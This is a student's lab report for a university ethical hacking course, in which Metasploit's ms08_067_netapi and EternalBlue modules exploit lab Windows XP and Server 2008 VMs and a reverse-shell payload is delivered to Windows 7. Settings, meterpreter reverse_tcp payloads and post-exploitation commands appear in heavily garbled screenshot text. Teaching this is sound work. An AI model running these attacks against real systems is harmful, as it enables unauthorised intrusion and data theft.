## OLD DOMINION UNIVERSITY

## CYSE 301 Cybersecurity Techniques and Operations

# Assignment #4 Ethical Hacking

Stuart N. Howard 01241576

Task A. Exploit SMB on Windows XP with Metasploit (20 pt, 2pt each)

In this task, you need to complete the following steps to exploit SMB vulnerability on Windows XP.

1. Run a port scan against the Windows XP using nmap command to identify open ports and services.



- Used external Kali to conduct subnet Nmap scan 192.168.10.0/24
- After scan w/Nmap
  - o **192.168.10.2** 
    - Open ports 53/80/443
    - PfSense



- o **192.168.10.11** 
  - Windows Serve 2008
  - Open ports 21/80/135/445/3389



### 🕞 🖬 💭 🏮 🖪 🧬 C 🏣 🗣 👊

- o 192.168.10.14
  - Windows XP
  - Open ports 135/139/445



Action Media Clipboard View	c Hep E 💼 j					64 10	Import Virtual Machine Hyper-V Settings	
ations - Places - OF	irefax ESR +	Thu 00:01		1 4 /	<0 - C) +	538	Virtual Smitch Manager	
	Nessus Esse	entials / Folders / View Scan - Mozilla Firefo	DK.	•	000	14	Vinual SAM Manager	
Nessus Essentials / Folor	× +	,					sor Dek-	
6 - 0 0	O & https://localhost.8834/8/sr	ant/reports/5/bosts	0	6 IA	m =		Stop Service	
Norrow Manager & Kali Lie	A Fall Door & Fall Tools	Sector DB 24 Mart Michael 35 Martin /1	a tri all'almo			×	Remove Server	
Vinessus rivine Anali Li	AND LOOLS A RAIL LOOLS	spion be grimosconnice grimessari i	inducing		-	D	Patrich	
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~	U In	ere's an ercz with your heat. Lives here to view y	your license intomations	in the second			View	
C nessus s	cans Settings						Нар	
	lan ecan		Parket Area	-		We	daws Server 2001 82 sb4	
. 11. 5	Back to My Scam		Congue Addi	304 Linuteri	- Parg		Connect	
My Sceni							Settings	
A DOM	Hosts 2 Volveratshiles 31	Remediations 2 Notes 1 Hist	tary t				Shid Deve	
1000						0	Save	
	Filer T	The Prosts					Paure	
O Policies	Hat	Vulnerabilities +		Scan Detail		11-	Reset	
Plugin Rulos						Br	Checkpoint.	
& Scorers	192.168.10.11		<b>轩</b>	Status	Advarced	2	Feart_	
Come - Transmith	192 168 10 14			scanner.	Local Sear		Move	
				Start:	July 10 at		Rename	
Gommunity				End:	July 19 at		Help	
🖗 Research				Elapsed	7 minutes			
Plugin Release Notes								
				Vulnerabilit	lins			
rong				C				
		Heartbeat: OK (No Application	Data					
							A subliciantia AM Historian (11)	
						- 1		
								12.01

- 2. Identify the SMB port number (default: 445) and confirm that it is open.
- 3. Launch Metasploit Framework and search for the exploit module: <u>ms08\_067\_netapi</u>

A REAL FRANCISCO CONTRACTOR AND								
Ster Ser - External Workstation on ShortsAute - Versuit Machine Connection					- D X		New	
Action Media Clipboard View Help							🔔 import Virtual Machine	
							Hyper-V Settings	
ations * Places * 🖾 Terminal *	The 00:13				III # /40-		Virtuel Switch Menager	
	root@CS2APenTest: -				000		A. Virtual SAN Manager	
File Edit View Search Terminal Help					No. of the second s		📲 Eskt Disk	
1 auxiliary/scanner/smb/smb ms17 010	n	ornal )	ies MS1	7-010 S	MB RCE Detection		impect Disk	
2 exploit/windows/smb/ms17_010_etermalblue ndows Kernel Papl Corruption	2017-03-14 av	verage 3	res MS1	17-810 E	ternalBlue SMB Renote W1		<ul> <li>Stop Service</li> </ul>	
3 exploit/windows/smb/ms17_010_eternalblue_wind	2017-03-14 0	verage M	ia M53	7-010 E	ternalBlue SMB Renote Wi		X Remove Server	
ndows Kernel Pool Corruption for Win8+			-				C Keriesh	
erov/EternalChampion SMB Remote Windows Code Executi	2017-03-14 10	orman i	res mai	17-010 E	ternationance/Eternation		View	
							EI Pelp	
m (5 > search m 00 067 natani							Windows Server 2008 R2 #84	
TTT > Search ison any netapt							Connect	
Matching Modules							Settings	
							Turn Dff	
# Name	Disclosure	e Date #	tank	Check	Description		Shut Down	
	2000 20 20			444	Manager land the second		O Save	
ion Server 2006 Command Execution Vulnerability	2000-10-14		iorna L	NO	Rerosoft Host Integrat		11 Peine	
1 auxiliary/fileformat/nultidrop			normal	No	Windows SHB Multi Dropp		ile Recet	
er 2 auxiliary/gather/cisco_rv328_config uration_Disclosure	2019-01-24	4 1	normal	No	Cisco RV328/RV326 Confi		Deckpoint	
3 auxiliary/scanner/http/tomcat mgr login			iornat	Yes	Toocat Application Mana	۲	P Move.	
er Login Utility	2015-00-01				Classific Design Contract 7		12 Export-	
4 Buxillary/scanner/misc/clamay_control ransmitter	2810-00-01	धः ।	tornal	765	clanAv Renote Connand T		al Revene.	
5 exploit/linux/http/cisco_rv32x_rce nauthenticated Remote Code Execution	2018-09-01	9 /	ornal	Yes	Cisco RV328 and RV325 U		1 Help	
6 exploit/linux/misc/gnap_transcode_server	2017-08-06	6 1	excellent	Yes	QNAP Transcode Server C			
omnano Execution 7 exploit/aulti/browser/java_jre17_jaxws te Code Execution	2012-10-16	6 (	excellent	No	Java Applet JAX-WS Remo			
<pre>8 exploit/multi/http/toncat_mgr_deploy</pre>	2009-11-09	9 6	excellent	Yes	Apache Toncat Manager A			
<pre>pplication Depisyer Authenticated Code Execution 9 exploit/multi/http/toncat_mgr_upload uthenticated Unload Code Execution</pre>	2009-11-85	э (	excellent	Yes	Apache Toncat Nanager A			
<pre>10 exploit/netware/sunrpc/pkernel callit</pre>	2809-09-31	9 ş	pood	No	NetWare 6.5 SunRPC Port			
happer CALLIT Stack Buffer Overflow		~						
Escalation	2017-11-25	* *	excertent.	NC	Pac-03 A Root Privilege			
12 exploit/osx/local/sudo password_bypass pypass	2013-02-21	8 1	iornal	Yes	Mac OS X Sudo Password			
13 exploit/unix/webapp/opensis_modhame_exec	2012-12-04	4 6	excellent	Yes	OpenSIS 'modname' PHP C			
ening .					二 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1			
	Heartheatr DK	K (Ho Replicator	n Datai					
							and the second	
							Activate Windo	
							THE R. PARTINGS IN M.	
								A 12 40
								and the second

4. Use ms08\_067\_netapi as the exploit module and set meterpreter reverse\_tcp as the payload.

Altacher Kall - Fater	ad Windotetico de SUOWATOS	Vaturel Machine	Connection	- <b>D</b> X	Sector Constant	
Els defes Mes	Talkated in Shortwoo	Yacale Mechanic	Connection	- 0 ×	New	
	11 15 B. 5 100 40				G Import Virtuel Machine	
		41-12 41-12	And the second		Hyper V Settings	
Applications *	Places * EJ Termina	1.*	11000347	2 H / 40 C *	Victual Switch Manager	
			root@CS2APenTest: -	000	m. Vinual SAV Manager.	
Flie Edit	View Search Termin	ul Help			🚅 Edit Disk	
				*	Inspect Dec.	
Exploit 1	target:				<ul> <li>Stop Service</li> </ul>	
					Kemple Strver	
id Na	ane.				O Kewesh	
- B AL	tomatic Targeting				View	
					Map Hap	
ants evol			() > set navlead windows (P/meternrater/reverse tro		Windows Server 2000 R2:64	
The	alue specified for	payload Lt	not valid.		Connect	
nst5 expl	loit (winden / teh/est	10 007 1 mm	<pre>&gt;&gt; set payload windows/XP/meterpreter/reverse_tcp</pre>		Settings	
nsf5 expl	atue specified for	psyload L	<pre>not valid. not valid. not valid. ) &gt; set davload windows/peterpreter/reverse tcp</pre>		Tum Q/1	
payload =	> windows/meterpret	ter/reverse	tcp		But Dewn	
nais expl	loit (states / mb/m)		<pre>(i) &gt; show options</pre>		G Save	
📶 Madule ap	tions (exploit/wind	lows/smb/m	88 067 netapi):		E Paus	
	and the second		Providence and the second states		LD- Helet	
Name	Current Setting	Required	Description		E Checkpoint	
RHOSTS	192.168.10.14	yes	The target address range or CIDR identifier		3 Revert.	
CMONT	445 E BROWEER	yes	The SMB service port (TCP)		Meve-	
- SHBP41	-c browsen	Ace	The pipe have to use (browsen, shyster)		Espan.	
<b>F</b>					mg netame.	
Payload c	options (windows/met	terpreter/	everse_tcp):		Hop Hop	
Name	Current Setting	Required	Description	C. A common Marco Allower Contractor		
EXITFL LHOST LPORT	JNC thread	yes yes yes	Exit technique (Accepted: '', seh, thread, process, n The listen address (an interface may be specified) The listen port	one}		
Exploit t	target:			and in the state of the second se		
Td Na	ane.			And in the local division of the local divis		
8 A.	tomatic Targeting					
nsf5 expl	loit (yumees, tab/mi		(01) > [			
tatus Running				= 0 9		
			Heartbeat: Of flo Application Data	and a second		
					Activate Windows	
					Gio to Skittings to activate Windows.	
<b>3</b> 3					- F2.0	12 ET AL
					0.645	1/20/202
	0 500	de la			~ A 9 di #	8-87 PM
		50A				212/02/14

5. Use <u>4458</u> as the listening port number. Configure the rest of the parameters. Display your configurations and exploit the target.



6. [Post-exploitation] Execute the screenshot command to take a screenshot of the target machine if the exploit is successful.



📑 Q Sauch 💿 🖬 🗭 😨 📮 🏪 👊

^ \_\_\_\_\_ ♥ d≬ 🛥 👫 7/19/2



- 7. [Post-exploitation] In meterpreter shell, display the target system's local date and time.
- 8. [Post-exploitation] In meterpreter shell, get the SID of the user.
- 9. [Post-exploitation] In meterpreter shell, get the current process identifier.
- 10. [Post-exploitation] In meterpreter shell, get system information about the target.



Task B. Exploit EternalBlue on Windows Server 2008 with Metasploit (20 pt)

In this task, you need to use similar steps to exploit the EternalBlue vulnerability on Windows Server 2008. Make sure to search and replace the exploit module against Windows Server 2008 accordingly.

Attacker Kali - External Workstation on SHOWA006 - Virtual Machine Connection	– 🗆 ×
ie Action Media Clipboard View Help	
pplications - Places - D Terminal - Thu 03:16	1 端 / 40) () -
root@CS2APenTest: ~	00
File Edit View Search Terminal Help	
Payload options (windows/x64/meterpreter/reverse_tcp):	- m m -
Name Current Setting Required Description	
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST yes The listen address (an interface may be specified)	
LPURT 44444 yes the listen port	lit/dia
Exploit target:	
Id Name	
0 Windows 7 and Server 2008 R2 (x64) All Service Packs	
as f5, sup loi * (minimum / minimum / 2, 010, minum / 15, cont. 14967, 102, 169, 217, 2	
Inst:         Exp(01(1000000000000000000000000000000000	
<u>MST5</u> eXp(D1T( <u>wikhlows/3HD/WEI7_D1D_etervisitb(DB</u> ) > Set LPORT 4458 LPORT => 4458	
<pre> msrs exploit(windows/smb/msi7_010_eternalblue) &gt; show options</pre>	
Module options (exploit/windows/smb/ms17_010_eternalblue):	
Name Current Setting Required Description	
RHOSTS 192.168.10.11 yes The target address range or CIDR identifier	
SNBOomain . no (Optional) The Windows domain to use for authentication	
SMBPass no (Optional) The password for the specified username	
VEREY ARCH true ves Check if remote architecture matches exploit Target.	
VERIFY_TARGET true yes Check if remote OS matches exploit Target.	
Payload options (windows/x64/meterpreter/reverse_tcp):	
Name Current Setting Required Description	
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192,168.217.3 yes The listen address (an interface may be specified) LPORT 4458 yes The listen port	
Exploit target:	
Id Name	
0 Windows 7 and Server 2008 R2 (x64) All Service Packs	
nof5 availat/window rank/w/17 BtB at any Jilual >	Crenable

- Background session 1 Windows XP
- Changed RHOSTS to Windows servers 192.168.10.11
- Searched EternalBlue exploit and config.



- 1. Configure your Metasploit accordingly and set DDMMYY as the listening port number. Display the configuration and exploit the target. (10 pt)
- 2. [Post-exploitation] Execute the screenshot command to take a screenshot of the target machine if the exploit is successful. (2 pt)



- 3. [Post-exploitation] In meterpreter shell, display the target system's local date and time. (2 pt)
- 4. [Post-exploitation] In meterpreter shell, get the SID of the user. (2 pt)
- 5. [Post-exploitation] In meterpreter shell, get the current process identifier. (2 pt)
- 6. [Post-exploitation] In meterpreter shell, get system information about the target. (2 pt)



#### Task C. Exploit Windows 7 with a deliverable payload.

In this task, you need to create an executable payload with the required configurations below. Once your payload is ready, you should upload it to the web server running on Kali Linux and download the payload from Windows 7, then execute it on the target to make a reverse shell (20 pt). Of course, don't forget to configure your Metasploit on Kali Linux before the payload is triggered on the target VM.

The requirements for your payload are (10 pt, 5pt each):



🚦 Q. Search 🚯 🖬 🗭 🥥 🔯 🐨 🖓



• Payload Name: Use your MIDAS ID (for example, pjiang.exe)



[Post-exploitation] Once you have established the reverse shell connection to the target Windows 7, complete the following tasks in your meterpreter shell:





1. Execute the screenshot command to take a screenshot of the target machine if the exploit is successful. (10 pt)



- I got it to work, but it closes when I close the warning in windows screen



- I got it to work

- I had to change to payload for windows 7
  - I took out the "x64" in the target payload but forget to take it out in the Attacker's. Once changes were made, it worked.
- 2. Create a text file on the attacker Kali named "IMadeIT-YourMIDAS.txt" (replace YourMIDAS with your university MIDAS ID) and put the current timestamp in the file. Upload this file to the target's desktop. Then log in to Windows 7 VM and check if the file exists. You need to show me the command that uploads the file. (20 pt)

Methe Cleboard Ven He	1			Pås Articis Mada C	kitcent Ven 1Wa		
0 H b & 5 E B				3- 0 2 <b>0</b> 0 H H	<ul> <li>B &gt; 世世</li> </ul>	10000	
				Applications - Place	es.* 🗈 Terminal +	7/102228	a / 4 0 -
				and the second second		rockgCSIAPerTest:~	000
-				The Tall Yes	e Swarith Terremai Help		
Carly a v Compte	· LandDer(C) · (hart · Public ·		· + I innerster p				
Duning a first the	there is the second as the back	17	1 × 11 × 0		unser (print		
Sector States	line	tan author has		play	play an audio file on tar	get system, nothing written on disk	
Texters	Public Targements	TURCERS 11 Trail And Toront		Telu Thursto	Complete State		
🗿 Deseritoriti	🚊 Public Davertoads.	PER-DOUBLE AND TREPORT		Filt Lierate	COMINITOS		
31. Pacent Places	Public Main	1/34/20033-0.4M Thefulor		comand	Description		
THE LAPPING	Public Recorded TV	7/34/2009 2:20 444 Hile Folger			Attempt to almosts Source	station is many of the V common	
Documents Marr	Public Videos	T/SF/00042-6 AM FileVolder			According to a linear a forth th		
In Factoria	ST COLUMN TO CARDINE	- and provide states and states a	2011 8040	Privi: Passvon	d dotabose Commonds		
H Videou				M			
wij Horregelsen				Comand	Detrigtion		
and the second second				tashdungi	hings the contents of the	SAM database	
Luna Dest (C)				*			
😌 and an (1183,154)				🚣 Prix: Timesto	na Ceneords		
Statune B				6			
75963555				Comend.	Bescription		
				timestowp	Manipulate file MACE attr	ibutes	
7 kores faits	B. thansi			netexpreter >	uplead /root/Desktop/D4adIt_s	tidows890.txt D:\	
1.4				neterpreter >	aplead /root/INedel1_showab#6	Text C:\\public\\Desktop\\TMadeIt_shownH00.txt	CONTRACT OF A
				uploading	: //oct/DMadolt_shewa006.tst nel open: Operation failed: Th	<ul> <li>E:/public/Desktop/IMadelt_shousd06.txt</li> <li>system cannot find the path specified.</li> </ul>	Manual Manual Contractor
				baterarater >	uplead /root/Diadelt showa006	.txt t:\\public\\iMadelt shewadd6.txt uploading	/reot/lHadelt_shows000
			80.84	Leare char	nel open: Operation failed: Th	e system cannot find the path specifled,	
			_	E B S lieterpreter >	: /roct/IMadelt_shewap00.txt	TRT C (UNEFS)(DUBLIC)(Dealert showadde Txt > C:\UNEFs)(public)(Dealert showadde Txt	
				uploaded apploaded	12.00.0 of 52.00.0 (100.05); /	cost/INadelt_showedd.txt -> C:Userstpablic.INadel > C:Userstpablic.INadelt_abova006.txt	shewa665, txt
				neterpreter >			
				Spears Rawing			
						For technology help, contact	the ITS Help Desk:
						17571 692 2102 L au	ala@adu adu
	Carlos Carlos and					(237)003-3142   Hst	elheoon.eon
	Allestene Tree Mail	the Endla Pattern					

- Uploaded the file but wrong location



- Uploaded correctly to the desktop
  - Used the command "upload and filename"